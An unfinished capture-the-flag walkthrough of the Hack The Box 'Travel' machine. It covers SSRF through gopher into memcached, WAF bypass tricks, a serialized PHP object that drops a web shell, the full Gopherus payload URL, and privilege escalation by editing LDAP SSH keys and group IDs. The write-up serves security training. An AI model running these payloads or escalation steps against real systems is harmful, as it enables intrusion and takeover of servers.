TODO: Finish this writeup~! Short description to include any strange things to be dealt with
Useful Skills and Tools
Useful thing 1
Browse and edit LDAP with Apache Directory Studio (need link)
Useful thing 2
SSH port forwarding to connect to remote ports that are closed (need sudo to use ports under 1024)
Enumeration
Nmap scan
I started my enumeration with an nmap scan of 10.10.10.189. The options I regularly use are: -p-, which is a shortcut which tells nmap to scan all ports, -sC is the equivalent to --script=default and runs a collection of nmap enumeration scripts against the target, -sV does a service scan, and -oG <name> saves the output with a filename of <name>, -n stops DNS resolution of hosts, and -v allows me to see progress as it discovers things rather than waiting for the full report when it finishes.
┌──(zweilos㉿kali)-[~]
└─$ nmap -n -p- -sC -sV --reason -v 10.10.10.189 -oG travel
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-13 17:17 EDT
Nmap scan report for 10.10.10.189
Host is up, received syn-ack (0.042s latency).
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack nginx 1.17.6
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.17.6
|_http-title: Travel.HTB
443/tcp open ssl/http syn-ack nginx 1.17.6
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.17.6
|_http-title: Travel.HTB - SSL coming soon.
| ssl-cert: Subject: commonName=www.travel.htb/organizationName=Travel.HTB/countryName=UK
| Subject Alternative Name: DNS:www.travel.htb, DNS:blog.travel.htb, DNS:blog-dev.travel.htb
| Issuer: commonName=www.travel.htb/organizationName=Travel.HTB/countryName=UK
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-04-23T19:24:29
| Not valid after: 2030-04-21T19:24:29
| MD5: ef0a a4c1 fbad 1ac4 d160 58e3 beac 9698
|_SHA-1: 0170 7c30 db3e 2a93 cda7 7bbe 8a8b 7777 5bcd 0498
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 15.35 seconds
The only ports that nmap showed as open on this machine were 22 (SSH), 80 (HTTP), and 443 (HTTPS). From the nmap DNS NSE script scan I saw three virtual hosts for this IP:
Subject Alternative Name: DNS:www.travel.htb, DNS:blog.travel.htb, DNS:blog-dev.travel.htb
I added all three to my /etc/hosts file so I could connect.
Connecting to www.travel.htb I found a "coming soon" type site with a countdown. On this site I found a contact information section with a potential a user email format.
CONTACT INFORMATION
hello@travel.htb Park Ave, 987, London, United Kingdom.
Checking port 443 only led to an under construction site with no useful information.
The Firefox plugin wappalyzer told me the site was using WordPress version 5.4. I fired up wpscan to check the site for vulnerabilities using the syntaxwpscan --url http://blog.travel.htb/ --enumerate.
I discovered a WordPress login page at http://blog.travel.htb/wp-login.php but there was nothing else useful from the scan.
I tried resetting my password since this version of WordPress was reportedly vulnerable to information leakage through this, but it did not lead to anything useful.
The page at xmlrpc.php likewise did not seem to be useful at this time.
Navigating to the virtual host blog-dev also seemed to be a dead-end, so I started another Dirbuster scan to see if anything useful that I could access could be found.
There was an RSS feed using the Awesome RSS WordPress plugin on the blog site.
In the source code of the page I noticed a section that said DEBUG that caught my eye. I didn't know what to do with it, but it seemed interesting.
There was also a section that talked about using "Additional CSS" and importing it from the dev site. This seemed like a potential way to get code to cross domains.
Another interesting find was the raw XML output that feeds the RSS page. Perhaps there was an XML deserialization vulnerability in the site.
Since the wpscan results didn't seem to yield any useful information I checked out my Dirbuster scan of the dev-blog site and looked for interesting directories.
I found a potentially accessible git repo while scanning blog-dev with dirbuster.
The dirbuster scan also shows that some security has been put in place against automated scanners. I could see the repeated chain of /./ dirs that told me the scanner was stuck. After telling it to ignore those directories it found the git directory.
I made a folder named gitdump to dump the contents of the git repo into and ran git-dumper (from https://github.com/arthaud/git-dumper) to clone the repository.
The repository appeared to be the source code for the Awesome RSS application I saw earlier. The README.md file described the current status of the project.
# Rss Template Extension
Allows rss-feeds to be shown on a custom wordpress page.
## Setup
* `git clone https://github.com/WordPress/WordPress.git`
* copy rss_template.php & template.php to `wp-content/themes/twentytwenty`
* create logs directory in `wp-content/themes/twentytwenty`
* create page in backend and choose rss_template.php as theme
## Changelog
- temporarily disabled cache compression
- added additional security checks
- added caching
- added rss template
## ToDo
- finish logging implementation
The PHP file rss_template.php parses URLs and then creates SimplePie objects from them and sets that object's cache location to a local memcache. SimplePie is a WordPress plugin that allows for RSS feeds in php-based sites. . Feeds are requested from the custom_feed_url parameter if it exists, otherwise it defaults to http://www.travel.htb/newsfeed/customfeed.xml which I found earlier through dirbuster.
Memcached is used to cache requests in memory in the form of key-value pairs so that they can be retrieved quickly without making multiple requests. In this instance the memcache keys are prefixed with xct_ when they are stored.
There was further evidence of website security in the file template.php. It looked like they were trying to implement a rudimentary web application firewall by filtering out any requests that contained file://, @, -o, -F, or attempts to access the localhost. Even though some URL filtering is used, there are still many ways to bypass this. For example, ftp:// or even gopher:// could be used instead of file://, and if the localhost needs to be directly referenced different encoding schemes could be used. For example, 127.0.0.1 in hex is 0x7F000001, and in decimal 2130706433. Most URL parsers can automatically translate addresses no matter which numbering scheme is used.
The TemplateHelper class uses the file_put_contents() function to write data to a file in the /logs/ directory. This method is called from the __construct() and __wakeup() functions through the init() function. These two functions are known as "magic methods" in PHP and are triggered when certain actions happen. For example, the __wakeup() method is called when an object is deserialized. Since these are public functions, they can be called from other PHP files that reference this document, such as seen in rss_template.php.
The rss_template.php also has code that includes a debug.php if the parameter debug is set. This is what I had seen in the source code of the /awesome-rss site. After noticing this in the PHP code I went back to the same page to see if I could trigger this to do something. I set the debug flag by typing http://blog.travel.htb/awesome-rss?debug in the URL bar and got back something different in the page's source code than before.
Using the debug parameter added a bit of deserialized PHP code to the middle of the page, but there was nothing that seemed immediately useful. I did notice that the key portion of the output was prefixed with _xct like described in the PHP code.
Unfortunately the test did not actually load anything on the page, though I noticed that it did reach back to my server and pull the contents of the directory, including pulling some .png files automatically (and interestingly also including a .netxml file I had in the directory from playing around with airodump-ng earlier that day.)
This confirmed the SSRF vulnerability that the rudimentary PHP WAF was trying to protect against, though I still needed to figure out how to make it run code. Storing it in the memcached key that I saw being loaded through debug.php seemed like a likely route. Since directly referencing file includes in a URL using the most common methods were blocked, I needed to to use a less common method. Searching for SSRF file inclusion bypass led me to https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf.
This presentation from Black Hat included one case study where the researcher found a vulnerability where they were able to use SSRF to exploit Memcached. This example looked like exactly what I needed.
From rss_template.php I found the syntax to connect including the address 127.0.0.1:11211. Since the data to be included has to come from the local machine, I needed a way to embed it without pulling files from my machine. After doing some research, I decided to try doing this using the gopher protocol. Gopher is an older protocol that is used to access resources over a network but is still supported by most browsers as well as tools such as cURL. The Gopher protocol was first described in RFC 1436. IANA assigned it TCP port 70, though this is rarely ever used.
I sent a request in the browser to test this out using my customized URL, using the hex-encoded IP 0x7F000001 in place of 127.0.0.1.
This created a key named TEST in memcached with the value test. Using the ?debug flag again after requesting the above URL returns the following:
<!--
DEBUG
~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| TEST | test |
| xct_4e5612ba07(...) | a:4:{s:5:"child";a:1:{s:0:"";a:1:{(...) |
~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-->
My test key was successfully cached! Now I had to see if I could use this to exploit the site. Since memcached stores PHP objects in a serialized format it can be exploited by injecting a malicious object and triggering it through deserialization using the __wakeup() method I saw earlier. The code from the git dump didn't seem to have any methods for direct deserialization, so I looked at the RSS feed SimplePie plugin source code on GitHub to see if it held any clues.
SimplePie code review
Beware, the following section is a labyrinthine mess of tracing function calls across multiple libraries and classes. I'll try to explain as best I can, but if you would rather skip this section click here.
I didn't have to look through the code long to find the relevant code. The __construct function from the SimplePie_Cache_Memcached class is what is called by the get_feed() function in the website's code. It looked like they had left the default host and port values, but had customized the timeout and prefix values. This code further explained what was actually stored in the memcached key.
I also decided to check in Misc.php and Cache.php since they were referenced in the Memcache.php code. Cache.php has a get_handler function which returns an object based on the type of handler requested. One of the handlers is SimplePie_Cache_Memcached. In this the $name variable is set to $filename and the $type variable is set to $extension.
Looking back at the source code of Memcached.php, I traced through what was going on. This function takes the MD5 hash of $name (filename) and $type (extension) together. The prefix (in this case _xct) is added to the front afterwards.
I spent awhile looking for the proper usage of this method, but finally came across Class-SimplePie.php.
This code calls the get_handler() function from Cache.php with the parameters cache_location ,cache_name_function($url), and a filetype of spc.
After searching inside the SimplePie class for $cache_name_function I found a small function that set it to md5.
The end result of all of this: It means that $filename (later $name) is set to the MD5 sum of the URL md5($url) , while $extension (later $type) is set to spc . This result is then all concatenated and the MD5 sum is taken and appended with _xct. This gives me the information I need to create the memcached key to store my malicious payload in. the __construct method above gives the template. Some pseudo-code for this result is key_name = _xct + md5sum( md5sum(url) + ':spc' ) I verified this by using the original URL of the page I ran debug on.
It took me a few tries to get the right URL. First I tried just the part after /newsfeed/, then I forgot to add the http://. The final working URL that matched the result I was looking for was http://www.travel.htb/newsfeed/customfeed.xml.
The beginning of this resultant hash matches the output I saw in the debug code given by the customfeed.xml site earlier!
In the Memcached.php class, I also see a load() method that calls unserialize().
Using this I can create a malicious object that will save a PHP file to the logs folder when it's deserialized. The TemplateHelper class comes in handy here. I mirrored this from the one in the earlier code. Note: the $file and $data variables must be made public as private variables can't be accessed directly from outside the class.
This PHP script serializes an instance of the class TemplateHelper, which will write a my backdoor to a file called back_door.php in the /jobs/ folder after deserialization.
Next, we need to set this payload as a value for the key xct_4e5612ba079c530a6b1f148c0b352241 so that it is deserialized when the debug method is called.
┌──(zweilos㉿kali)-[~/htb/travel]└─$ php -f test.php1 ⨯PHP Warning: file_put_contents(/home/zweilos/htb/travel/logs/back_door.php): failed to open stream: No such file or directory in /home/zweilos/htb/travel/test.php on line 14
O:14:"TemplateHelper":2:{s:4:"file";s:13:"back_door.php";s:4:"data";s:34:"<?php system($_REQUEST['test']);?>";}
┌──(zweilos㉿kali)-[~/htb/travel]└─$ Gopherus/gopherus.py --exploit phpmemcache ________ .__ / _____/ ____ ______ ||__ ___________ __ __ ______ / \ ___ / _ \\____ \|| \_/ __ \_ __ \ | \/ ___/\ \_\ ( <_> ) |_>> Y \ ___/|| \/|/\___ \ \______ /\____/| __/|___|/\___ >__||____//____ > \/|__| \/ \/ \/ author: $_SpyD3r_$ This is usable when you know Classand Variable name used by userGive serialization payloadexample: O:5:"Hello":0:{} : O:14:"TemplateHelper":2:{s:4:"file";s:13:"test.php";s:4:"data";s:34:"<?php system($_REQUEST['test']);?>";}
Your gopher link is ready to do SSRF : gopher://127.0.0.1:11211/_%0d%0aset%20SpyD3r%204%200%20111%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:4:%22file%22%3Bs:13:%22test.php%22%3Bs:4:%22data%22%3Bs:34:%22%3C%3Fphp%20system%28%24_REQUEST%5B%27test%27%5D%29%3B%3F%3E%22%3B%7D%0d%0a
After everything done, you can delete memcached item by using this payload: gopher://127.0.0.1:11211/_%0d%0adelete%20SpyD3r%0d%0a-----------Made-by-SpyD3r-----------
After that it took awhile to figure out where my back_door.php was located. I found a hint in the README.md file I had found in the git repository earlier: * create logs directory in wp-content/themes/twentytwenty after that the TemplateHelper class told me it was stored in the /logs/ folder.
If you look closely at the output when I ran my PHP code above, it tried to put the resultant file in the /home/zweilos/htb/travel/logs/ which did not exist, so it gave an error.
a shell can be obtained by using parameter on the backdoor:
In the /opt/wordpress directory found and extracted a .sql file to my home machine; tried to open with sqlitebrowser but it told me it wasnt a valid database. I used the file command on it and it said it was a stnadard ASCII file so I opened it with vim and started browsing
picture
Finding user credentials
It was a sqldump output file rather than an actual database, but contained all of the recent queries to the database. I found password hashes for an admin user and lynik-admin , loading in hash-identifier to check what type of hash then loaded to crack with hashcat
In lynik-admin's home folder I found a .ldaprc file which looked interesting. According to the manpage this file is used to set configuration variables for connecting to LDAP.
ldap.travel.htb
BASE dc=travel,dc=htb
BINDDN cn=lynik-admin,dc=travel,dc=htb
this file is used to store Vim history data. You can find recent files, deleted data, and search history here.There is a line which was deleted from the .ldaprc file. bind password = Theroadlesstraveled . Let's try using it to connect to LDAP.
The -h option specifies the host to connect to, and the -x option means use simple anonymous authentication. The -b flag is used to specify the search base, while the -D flag specifies the bind Domain Name, both of which can be found in the .ldaprc file above. -w is used to specify the bind password.
But...since I am logged in why do it the hard way?
lynik-admin@travel:~$ ldapsearch -x -w Theroadlesstraveled
# extended LDIF
#
# LDAPv3
# base <dc=travel,dc=htb> (default) with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# travel.htb
dn: dc=travel,dc=htb
objectClass: top
objectClass: dcObject
objectClass: organization
o: Travel.HTB
dc: travel
# admin, travel.htb
dn: cn=admin,dc=travel,dc=htb
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: admin
description: LDAP administrator
# servers, travel.htb
dn: ou=servers,dc=travel,dc=htb
description: Servers
objectClass: organizationalUnit
ou: servers
# lynik-admin, travel.htb
dn: cn=lynik-admin,dc=travel,dc=htb
description: LDAP administrator
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: lynik-admin
userPassword:: e1NTSEF9MEpaelF3blZJNEZrcXRUa3pRWUxVY3ZkN1NwRjFRYkRjVFJta3c9PQ=
=
...Snipped for brevity...
# jane, users, linux, servers, travel.htb
dn: uid=jane,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: jane
uidNumber: 5005
homeDirectory: /home/jane
givenName: Jane
gidNumber: 5000
sn: Rodriguez
cn: Jane Rodriguez
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
loginShell: /bin/bash
# brian, users, linux, servers, travel.htb
dn: uid=brian,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: brian
cn: Brian Bell
sn: Bell
givenName: Brian
loginShell: /bin/bash
uidNumber: 5002
gidNumber: 5000
homeDirectory: /home/brian
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
# frank, users, linux, servers, travel.htb
dn: uid=frank,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: frank
cn: Frank Stewart
sn: Stewart
givenName: Frank
loginShell: /bin/bash
uidNumber: 5001
gidNumber: 5000
homeDirectory: /home/frank
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
# jerry, users, linux, servers, travel.htb
dn: uid=jerry,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: jerry
uidNumber: 5006
homeDirectory: /home/jerry
givenName: Jerry
gidNumber: 5000
sn: Morgan
cn: Jerry Morgan
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
loginShell: /bin/bash
# lynik, users, linux, servers, travel.htb
dn: uid=lynik,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: lynik
uidNumber: 5000
homeDirectory: /home/lynik
givenName: Lynik
gidNumber: 5000
sn: Schmidt
cn: Lynik Schmidt
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
loginShell: /bin/bash
# edward, users, linux, servers, travel.htb
dn: uid=edward,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: edward
uidNumber: 5009
homeDirectory: /home/edward
givenName: Edward
gidNumber: 5000
sn: Roberts
cn: Edward Roberts
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
loginShell: /bin/bash
# eugene, users, linux, servers, travel.htb
dn: uid=eugene,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: eugene
cn: Eugene Scott
sn: Scott
givenName: Eugene
loginShell: /bin/bash
uidNumber: 5008
gidNumber: 5000
homeDirectory: /home/eugene
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
# gloria, users, linux, servers, travel.htb
dn: uid=gloria,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: gloria
uidNumber: 5010
homeDirectory: /home/gloria
givenName: Gloria
gidNumber: 5000
sn: Wood
cn: Gloria Wood
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
loginShell: /bin/bash
# johnny, users, linux, servers, travel.htb
dn: uid=johnny,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: johnny
cn: Johnny Miller
sn: Miller
givenName: Johnny
loginShell: /bin/bash
uidNumber: 5004
gidNumber: 5000
homeDirectory: /home/johnny
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
# louise, users, linux, servers, travel.htb
dn: uid=louise,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: louise
cn: Louise Griffin
sn: Griffin
givenName: Louise
loginShell: /bin/bash
uidNumber: 5007
gidNumber: 5000
homeDirectory: /home/louise
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
# christopher, users, linux, servers, travel.htb
dn: uid=christopher,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: christopher
uidNumber: 5003
homeDirectory: /home/christopher
givenName: Christopher
gidNumber: 5000
sn: Ward
cn: Christopher Ward
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
loginShell: /bin/bash
# domainusers, groups, linux, servers, travel.htb
dn: cn=domainusers,ou=groups,ou=linux,ou=servers,dc=travel,dc=htb
memberUid: frank
memberUid: brian
memberUid: christopher
memberUid: johnny
memberUid: julia
memberUid: jerry
memberUid: louise
memberUid: eugene
memberUid: edward
memberUid: gloria
memberUid: lynik
gidNumber: 5000
cn: domainusers
objectClass: top
objectClass: posixGroup
# search result
search: 2
result: 0 Success
# numResponses: 22
# numEntries: 21
I was able to successfully dump the contents of the LDAP database, and found a list of users.
Since lynik-admin is an LDAP administrator, I now had the ability to modify user and device attributes stored in the LDAP database. In a Windows domain, this could give me the ability to promote a user to domain admin if I wished. In this case I will just try to use this to promote a user to root. Modifying LDAP through standard queries is pretty tedious, so I used Apache's Directory Studio to get a nice simple GUI. This can be downloaded for free from https://directory.apache.org/studio/downloads.html.
need to port forward 389 (need sudo rights for low port)
tried portforwarding using localhost and 127.0.0.1, but failed to connect, checked ip a and /etc/hosts to find out more and noticed 172.20.0.10
ssh port forward tunnel
lynik-admin@travel:/var$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:50:56:b9:bc:d0 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.189/24 brd 10.10.10.255 scope global eth0
valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:eb:d3:9e:f4 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
4: br-836575a2ebbb: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:0e:57:82:22 brd ff:ff:ff:ff:ff:ff
inet 172.20.0.1/24 brd 172.20.0.255 scope global br-836575a2ebbb
valid_lft forever preferred_lft forever
5: br-8ec6dcae5ba1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:62:92:81:b4 brd ff:ff:ff:ff:ff:ff
inet 172.30.0.1/24 brd 172.30.0.255 scope global br-8ec6dcae5ba1
valid_lft forever preferred_lft forever
7: vetha779908@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-8ec6dcae5ba1 state UP group default
link/ether 72:de:2f:8b:3d:cc brd ff:ff:ff:ff:ff:ff link-netnsid 0
9: vethef87583@if8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-8ec6dcae5ba1 state UP group default
link/ether 1a:aa:24:64:cc:d9 brd ff:ff:ff:ff:ff:ff link-netnsid 1
11: vethad21680@if10: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-836575a2ebbb state UP group default
link/ether d2:d3:97:5f:1e:6d brd ff:ff:ff:ff:ff:ff link-netnsid 2
13: vethd1561b2@if12: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-8ec6dcae5ba1 state UP group default
link/ether da:10:aa:7a:cb:5f brd ff:ff:ff:ff:ff:ff link-netnsid 3
15: veth5af27ca@if14: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-8ec6dcae5ba1 state UP group default
link/ether 02:e7:02:1d:f1:36 brd ff:ff:ff:ff:ff:ff link-netnsid 5
17: veth94d1920@if16: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-8ec6dcae5ba1 state UP group default
link/ether e6:86:a7:88:79:dd brd ff:ff:ff:ff:ff:ff link-netnsid 4
lynik-admin@travel:/var$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 travel
172.20.0.10 ldap.travel.htb
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
checked ip a and /etc/hosts to find out more and noticed 172.20.0.10
┌──(zweilos㉿kali)-[~/htb/travel]
└─$ sudo ssh -L 389:172.20.0.10:389 lynik-admin@10.10.10.189
[sudo] password for zweilos:
The authenticity of host '10.10.10.189 (10.10.10.189)' can't be established.
ECDSA key fingerprint is SHA256:KSjh2mhuESUZQcaB1ewLHie9gTUCmvOlypvBpcyAF/w.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.189' (ECDSA) to the list of known hosts.
lynik-admin@10.10.10.189's password:
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-26-generic x86_64)
System information as of Sat 19 Sep 2020 03:46:50 PM UTC
System load: 0.0
Usage of /: 46.0% of 15.68GB
Memory usage: 11%
Swap usage: 0%
Processes: 198
Users logged in: 0
IPv4 address for br-836575a2ebbb: 172.20.0.1
IPv4 address for br-8ec6dcae5ba1: 172.30.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for eth0: 10.10.10.189
Last login: Sat Sep 19 15:46:18 2020 from 10.10.15.53
lynik-admin@travel:~$
login as lynik failed with password, but it says that only an ssh key can be used to login
According to the sshd_config manpage, the AuthorizedKeysCommand configuration is used to specify the program from which the SSH server retrieves user public keys from. The sss_ssh_authorizedkeys utility retrieves user public keys from the specified domain. According to the documentation, SSH public keys can be stored in the sshPublicKey attribute in LDAP.
Next I tried adding the public key attribute to the lynik user. First, I had to add a new objectClass attribute then select ldapPublicKey After that I added the attribute sshPublicKey to lynik and clicked on Edit as Text in the editor and paste the public key.
┌──(zweilos㉿kali)-[~/htb/travel]
└─$ ssh lynik@10.10.10.189 -i lynik
Creating directory '/home@TRAVEL/lynik'.
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-26-generic x86_64)
System information as of Sat 19 Sep 2020 04:07:29 PM UTC
System load: 0.0
Usage of /: 46.0% of 15.68GB
Memory usage: 11%
Swap usage: 0%
Processes: 201
Users logged in: 1
IPv4 address for br-836575a2ebbb: 172.20.0.1
IPv4 address for br-8ec6dcae5ba1: 172.30.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for eth0: 10.10.10.189
*** Travel.HTB News Flash ***
We are currently experiencing some delay in domain
replication times of about 3-5 seconds. Sorry for
the inconvenience. Kind Regards, admin
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
lynik@travel:~$ id
uid=5000(lynik) gid=5000(domainusers) groups=5000(domainusers)
lynik@travel:~$
Since lynik-admin is an ldap admin and can modify anything, I tried setting lynik uid and gid to 0 (root) but then was denied ssh login due to configuration to deny root login;
I checked sudoers file and saw that admins and members of sudo group can run all commands as root so I changed group id to 27 (sudo) then logout and back in
┌──(zweilos㉿kali)-[~/htb/travel]
└─$ ssh lynik@10.10.10.189 -i lynik
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-26-generic x86_64)
System information as of Sat 19 Sep 2020 04:12:42 PM UTC
System load: 0.06
Usage of /: 46.0% of 15.68GB
Memory usage: 11%
Swap usage: 0%
Processes: 197
Users logged in: 1
IPv4 address for br-836575a2ebbb: 172.20.0.1
IPv4 address for br-8ec6dcae5ba1: 172.30.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for eth0: 10.10.10.189
Last login: Sat Sep 19 16:12:03 2020 from 10.10.15.53
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
lynik@travel:~$ id
uid=5000(lynik) gid=27(sudo) groups=27(sudo),5000(domainusers)
┌──(zweilos㉿kali)-[~/htb/travel]
└─$ ssh lynik@10.10.10.189 -i lynik
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-26-generic x86_64)
System information as of Sat 19 Sep 2020 04:12:42 PM UTC
System load: 0.06
Usage of /: 46.0% of 15.68GB
Memory usage: 11%
Swap usage: 0%
Processes: 197
Users logged in: 1
IPv4 address for br-836575a2ebbb: 172.20.0.1
IPv4 address for br-8ec6dcae5ba1: 172.30.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for eth0: 10.10.10.189
Last login: Sat Sep 19 16:12:03 2020 from 10.10.15.53
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
lynik@travel:~$ id
uid=5000(lynik) gid=27(sudo) groups=27(sudo),5000(domainusers)
Getting a shell
after adding this user to the sudoers group:
lynik@travel:~$ sudo -l
[sudo] password for lynik:
Matching Defaults entries for lynik on travel:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User lynik may run the following commands on travel:
(ALL : ALL) ALL
lynik@travel:~$ sudo su -
root@travel:~# cat root.txt
550099de4950e4d03a939943ad265eb0
Root.txt
Thanks to xct & jkr for this very challenging and fun machine! It was quite a journey learning about PHP deserialization and learning how to read through the complex maze of the SimplePie code.
If you like this content and would like to see more, please consider buying me a coffee!